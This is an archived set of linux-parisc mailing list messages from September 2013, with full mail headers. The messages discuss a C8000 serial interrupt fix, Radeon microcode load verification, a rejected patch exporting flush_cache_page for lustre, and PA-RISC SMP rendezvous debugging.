> We can't use dev->mod_index for selecting the interrupt routing entry,
> because it's not an index into interrupt routing table. It will be even
> wrong on a machine with 2 CPUs (4 cores). But all needed information is
> contained in the PAT entries for the serial ports. mod[0] contains the iosapic
> address and mod_info has some indications for the interrupt input (at least
> it looks like it). This patch implements the searching for the right iosapic
> and uses this interrupt input information.

Thomas,

Thanks for the fix! This indeed fixed serial on my c8000. Now, there is no
need to use PDC_CONSOLE on this machine anymore.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 - linux-image-3.10-2-parisc64-smp
Date: Wed, 4 Sep 2013 19:58:23 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <BLU0-SMTP36B9C5CB7AF69063DE0EBD97320@phx.gbl>
References: <521A7589.5000503@gmx.de> <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl> <BLU0-SMTP99E4F2E24E1A3F5BA18E7A97360@phx.gbl> <108451378018002@web28j.yandex.ru> <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl> <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk> <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl> <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk> <52278FBD.2010304@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1378339122 14590 80.91.229.3 (4 Sep 2013 23:58:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Sep 2013 23:58:42 +0000 (UTC)
Cc: Alex Ivanov <gnidorah@p0n4ik.tk>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 05 01:58:45 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHMyB-0002KG-T7
	for glpp-linux-parisc@plane.gmane.org; Thu, 05 Sep 2013 01:58:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753178Ab3IDX6m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Sep 2013 19:58:42 -0400
Original-Received: from blu0-omc4-s14.blu0.hotmail.com ([65.55.111.153]:24398 "EHLO
	blu0-omc4-s14.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752779Ab3IDX6m (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Sep 2013 19:58:42 -0400
Original-Received: from BLU0-SMTP36 ([65.55.111.135]) by blu0-omc4-s14.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 4 Sep 2013 16:58:41 -0700
X-TMN: [uhx23E+FA81PZI6PaS8wn+1F7QK7eCCy]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP36.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 4 Sep 2013 16:58:39 -0700
In-Reply-To: <52278FBD.2010304@bell.net>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 04 Sep 2013 23:58:39.0943 (UTC) FILETIME=[AD7C8570:01CEA9CA]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5302
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5302>

Should have just given link:
http://developer.amd.com/resources/documentation-articles/developer-guides-manuals/

It is listed near bottom as "R5xx Family 3D Programming Guide".

On 4-Sep-13, at 3:53 PM, John David Anglin wrote:

> Alex,
>
> That was the general idea although I was looking at the code in  
> radeon_cp.c.  I now think my suggestion
> was incorrect as the CP data is loaded via registers.
>
> After a bit of searching, I found a document which describes reading  
> and writing to MicroEngine RAM.
> See page 22.  I think we need to confirm after writing that we can  
> read back the control program
> successfully.


Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 - linux-image-3.10-2-parisc64-smp
Date: Thu, 05 Sep 2013 13:23:28 +0400
Lines: 49
Approved: news@gmane.org
Message-ID: <90151378373008@web24h.yandex.ru>
References: <521A7589.5000503@gmx.de> <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl> <BLU0-SMTP99E4F2E24E1A3F5BA18E7A97360@phx.gbl> <108451378018002@web28j.yandex.ru> <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl> <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk> <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl> <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk> <52278FBD.2010304@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1378373392 2470 80.91.229.3 (5 Sep 2013 09:29:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Sep 2013 09:29:52 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 05 11:29:54 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHVsu-0005qG-Ta
	for glpp-linux-parisc@plane.gmane.org; Thu, 05 Sep 2013 11:29:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935661Ab3IEJ3q convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 5 Sep 2013 05:29:46 -0400
Original-Received: from forward4h.mail.yandex.net ([84.201.186.22]:38180 "EHLO
	forward4h.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S935586Ab3IEJ3o (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 5 Sep 2013 05:29:44 -0400
X-Greylist: delayed 366 seconds by postgrey-1.27 at vger.kernel.org; Thu, 05 Sep 2013 05:29:43 EDT
Original-Received: from web24h.yandex.ru (web24h.yandex.ru [84.201.187.158])
	by forward4h.mail.yandex.net (Yandex) with ESMTP id 5BFC81B21253;
	Thu,  5 Sep 2013 13:23:29 +0400 (MSK)
Original-Received: from 127.0.0.1 (localhost [127.0.0.1])
	by web24h.yandex.ru (Yandex) with ESMTP id E65FDDE14FB;
	Thu,  5 Sep 2013 13:23:28 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15]) by web24h.yandex.ru with HTTP;
	Thu, 05 Sep 2013 13:23:28 +0400
In-Reply-To: <52278FBD.2010304@bell.net>
X-Mailer: Yamail [ http://yandex.ru ] 5.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5303
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5303>

04.09.2013, 23:54, "John David Anglin" <dave.anglin@bell.net>:
> Alex,
>
> That was the general idea although I was looking at the code in
> radeon_cp.c. =9AI now think my suggestion
> was incorrect as the CP data is loaded via registers.
>
> After a bit of searching, I found a document which describes reading =
and
> writing to MicroEngine RAM.
> See page 22. =9AI think we need to confirm after writing that we can =
read
> back the control program
> successfully.
>
> Dave

I disregarded this too, though WREG32 macro name evidently says that
it does writing to registers.
I'm touching the r100.c, as they've opted out a radeon_cp.c one.

Good find! I though that it would be worth to check the load somehow,
as well. I've added the following piece after the load:

                WREG32(RADEON_CP_ME_RAM_RADDR, 0);
                for (i =3D 0; i < size; i +=3D 2) =20
                        if (RREG32(RADEON_CP_ME_RAM_DATAH)
                                !=3D be32_to_cpup(&fw_data[i]) ||
                                RREG32(RADEON_CP_ME_RAM_DATAL)
                                !=3D be32_to_cpup(&fw_data[i+1])) {
                                printk(KERN_WARNING "RADEON_CP_ME_RAM_D=
ATAH "
                                        "MISMATCH!\n");
                                break;
                        }

I've recompiled with this and booted to the new kernel, but seeing no w=
arning,
so it looks like it passes.

What's strange though is why they write zero instead of concrete memory=
 address
to the CP_ME_RAM_ADDR register...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: Export flush_cache_page() (needed by lustre)
Date: Thu,  5 Sep 2013 11:33:15 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <1378373595-29471-1-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1378373607 4650 80.91.229.3 (5 Sep 2013 09:33:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Sep 2013 09:33:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Geert Uytterhoeven <geert@linux-m68k.org>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 05 11:33:29 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHVwO-0007dw-Lm
	for glpp-linux-parisc@plane.gmane.org; Thu, 05 Sep 2013 11:33:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1763576Ab3IEJd1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 5 Sep 2013 05:33:27 -0400
Original-Received: from juliette.telenet-ops.be ([195.130.137.74]:44083 "EHLO
	juliette.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1763570Ab3IEJd1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 5 Sep 2013 05:33:27 -0400
Original-Received: from ayla.of.borg ([84.193.72.141])
	by juliette.telenet-ops.be with bizsmtp
	id MMZQ1m00f32ts5g06MZQHi; Thu, 05 Sep 2013 11:33:25 +0200
Original-Received: from geert by ayla.of.borg with local (Exim 4.76)
	(envelope-from <geert@linux-m68k.org>)
	id 1VHVwE-0007xb-Oq; Thu, 05 Sep 2013 11:33:18 +0200
X-Mailer: git-send-email 1.7.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5304 gmane.linux.kernel:1556517
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5304>

ERROR: "flush_cache_page" [drivers/staging/lustre/lustre/libcfs/libcfs.ko] undefined!

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
 arch/parisc/kernel/cache.c |    1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index c035673..b521c0a 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -602,6 +602,7 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 		__flush_cache_page(vma, vmaddr, PFN_PHYS(pfn));
 	}
 }
+EXPORT_SYMBOL_GPL(flush_cache_page);
 
 #ifdef CONFIG_PARISC_TMPALIAS
 
-- 
1.7.9.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Export flush_cache_page() (needed by lustre)
Date: Thu, 05 Sep 2013 09:01:59 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <1378396919.2142.5.camel@dabdike.int.hansenpartnership.com>
References: <1378373595-29471-1-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1378396926 21767 80.91.229.3 (5 Sep 2013 16:02:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Sep 2013 16:02:06 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 05 18:02:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHc0S-0007Ll-2o
	for glpp-linux-parisc@plane.gmane.org; Thu, 05 Sep 2013 18:02:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752725Ab3IEQCB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 5 Sep 2013 12:02:01 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46691 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752710Ab3IEQCB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 5 Sep 2013 12:02:01 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 73A118EE0F6;
	Thu,  5 Sep 2013 09:02:00 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id gZ16u1XQ6LuB; Thu,  5 Sep 2013 09:02:00 -0700 (PDT)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id EF2568EE0CE;
	Thu,  5 Sep 2013 09:01:59 -0700 (PDT)
In-Reply-To: <1378373595-29471-1-git-send-email-geert@linux-m68k.org>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5305 gmane.linux.kernel:1556738
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5305>

On Thu, 2013-09-05 at 11:33 +0200, Geert Uytterhoeven wrote:
> ERROR: "flush_cache_page" [drivers/staging/lustre/lustre/libcfs/libcfs.ko] undefined!
> 
> Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
> ---
>  arch/parisc/kernel/cache.c |    1 +
>  1 file changed, 1 insertion(+)
> 
> diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
> index c035673..b521c0a 100644
> --- a/arch/parisc/kernel/cache.c
> +++ b/arch/parisc/kernel/cache.c
> @@ -602,6 +602,7 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
>  		__flush_cache_page(vma, vmaddr, PFN_PHYS(pfn));
>  	}
>  }
> +EXPORT_SYMBOL_GPL(flush_cache_page);

This is an internal API: no architecture exports this.  Whoever is
trying to use it needs to use the correct API, so this is the wrong
patch.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Does there exists any 32bit-only PARISC SMP machines?
Date: Thu, 05 Sep 2013 12:24:09 -0400
Lines: 44
Approved: news@gmane.org
Message-ID: <5228B029.8060807@bell.net>
References: <521F9848.4010404@gmx.de> <1377830541.2331.5.camel@dabdike> <20130903155643.GA1430@glitch> <trinity-b7a0d82a-16b9-4204-be6e-2873db548248-1378282389073@3capp-gmx-bs28> <20130904140705.GA30223@glitch> <20130904142847.GA2893@glitch> <5227548F.5090909@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1378398235 7247 80.91.229.3 (5 Sep 2013 16:23:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Sep 2013 16:23:55 +0000 (UTC)
To: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 05 18:23:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHcLd-0007wp-Lr
	for glpp-linux-parisc@plane.gmane.org; Thu, 05 Sep 2013 18:23:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752168Ab3IEQX5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 5 Sep 2013 12:23:57 -0400
Original-Received: from smtp3.primus.ca ([209.216.129.203]:49097 "EHLO
	mail-02.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750704Ab3IEQX4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 5 Sep 2013 12:23:56 -0400
Original-Received: from i216-58-24-141.cybersurf.com ([216.58.24.141] helo=[192.168.0.181])
	by mail-02.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1VHcLb-00006U-09; Thu, 05 Sep 2013 12:23:55 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8
In-Reply-To: <5227548F.5090909@bell.net>
X-Authenticated: danglin-lux@magma.ca - i216-58-24-141.cybersurf.com ([192.168.0.181]) [216.58.24.141]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5306
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5306>

On 9/4/2013 11:41 AM, John David Anglin wrote:
> On 9/4/2013 10:28 AM, Domenico Andreoli wrote:
>> BTW, this is the most detailed investigation I'm aware of:
>>
>> https://lkml.org/lkml/2008/4/20/251
> I have the sense that MEM_RENDEZ_HI may not be set correctly for your 
> machine:
>
>         /* Set the smp rendezvous address into page zero.
>         ** It would be safer to do this in init_smp_config() but
>         ** it's just way easier to deal with here because
>         ** of 64-bit function ptrs and the address is local to this file.
>         */
>         load32          PA(smp_slave_stext),%r10
>         stw             %r10,0x10(%r0)  /* MEM_RENDEZ */
>         stw             %r0,0x28(%r0)   /* MEM_RENDEZ_HI - assume addr 
> < 4GB */
>
> This is possibly due to a change in memory range detection:
>
> --- dmesg.txt 2008-04-21 11:19:16.000000000 +0200
> +++ dmesg2.txt 2008-04-21 15:27:46.000000000 +0200
> @@ -1,6 +1,7 @@
> -Linux version 2.6.22-3-parisc64-smp (Debian 2.6.22-6) 
> (maks@debian.org) (gcc version 4.1.3 20071019 (prerelease) (Debian 
> 4.1.2-17)) #2 SMP Mon Nov 12 21:04:20 CET 2007
> +Linux version 2.6.25 (cavok@ska) (gcc version 4.1.3 20080308 
> (prerelease) (Debian 4.1.2-21)) #8 SMP Mon Apr 21 12:25:50 CES8
Kyle more or less confirmed that smp_slave_stext is not being call.  The 
firmware documentation
indicates that this might occur if memory isn't "properly" initialized.  
It would be helpful if you did a regression search
for the change that broke the cpu release.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Export flush_cache_page() (needed by lustre)
Date: Thu, 5 Sep 2013 13:13:38 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20130905171338.GB25882@merlin.infradead.org>
References: <1378373595-29471-1-git-send-email-geert@linux-m68k.org>
 <1378396919.2142.5.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1378401233 10895 80.91.229.3 (5 Sep 2013 17:13:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Sep 2013 17:13:53 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 05 19:13:54 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1VHd7x-0007de-Bi
	for glk-linux-kernel-3@plane.gmane.org; Thu, 05 Sep 2013 19:13:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753545Ab3IERNq (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 5 Sep 2013 13:13:46 -0400
Original-Received: from merlin.infradead.org ([205.233.59.134]:56931 "EHLO
	merlin.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752210Ab3IERNp (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 5 Sep 2013 13:13:45 -0400
Original-Received: from kyle by merlin.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux))
	id 1VHd7i-0007jo-Li; Thu, 05 Sep 2013 17:13:38 +0000
Content-Disposition: inline
In-Reply-To: <1378396919.2142.5.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1556768 gmane.linux.ports.parisc:5307
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1556768>

On Thu, Sep 05, 2013 at 09:01:59AM -0700, James Bottomley wrote:
> > +EXPORT_SYMBOL_GPL(flush_cache_page);
> 
> This is an internal API: no architecture exports this.  Whoever is
> trying to use it needs to use the correct API, so this is the wrong
> patch.
> 

I suspect it's copy_{to,from}_user_page being called here:

drivers/staging/lustre/lustre/libcfs/linux/linux-curproc.c:
copy_to_user_page(vma, page, addr,

which we could probably take out of line.

--Kyle

From - Thu Nov 08 21:09:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Export flush_cache_page() (needed by lustre)
Date: Thu, 5 Sep 2013 20:07:19 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <CAMuHMdUmKFwpsN9c1qeGf7+=tqMkB=A1j2wSHBrsOYk+co5mog@mail.gmail.com>
References: <1378373595-29471-1-git-send-email-geert@linux-m68k.org>
	<1378396919.2142.5.camel@dabdike.int.hansenpartnership.com>
	<20130905171338.GB25882@merlin.infradead.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1378404440 16294 80.91.229.3 (5 Sep 2013 18:07:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Sep 2013 18:07:20 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 05 20:07:22 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHdxh-0007QY-QB
	for glpp-linux-parisc@plane.gmane.org; Thu, 05 Sep 2013 20:07:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753238Ab3IESHU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 5 Sep 2013 14:07:20 -0400
Original-Received: from mail-pa0-f53.google.com ([209.85.220.53]:57521 "EHLO
	mail-pa0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752333Ab3IESHU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 5 Sep 2013 14:07:20 -0400
Original-Received: by mail-pa0-f53.google.com with SMTP id lb1so2243106pab.26
        for <multiple recipients>; Thu, 05 Sep 2013 11:07:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=RUjaN8taDqN9TKC8ETTX6m+KL0jyOCe3TBBtO8qqQGw=;
        b=Gfu/pZy8NGVjn3xOblW4wTTwSabIiYawIhvGWyP2MCIrFKGauq8DE3h+goouW6K1Kw
         c4nvLfrQMJLSYwUDimQPBVoKTzHMB17WJjHdEeETMxRBNjVj++jViQ3ZxMh6qNX8j8Oa
         L24gTSDpuKw4FvN0U6wrKnmTS9vpB96RuFDqgvH2EY22b8tpgNwknhpY6nu2AIbxxtFL
         4moRp8+Pw6UZbPOoFk74rdzifmuWoUKMKjTI3KXtQaxbm3EkSAEN/72SGcgxStuWyKcF
         JoQS9IOOHyK0l2GDuF8c/r+mFBfOkDyvkNRd97YZxluPkznXiVs9gcw8rODBcwWDDR8B
         WM4w==
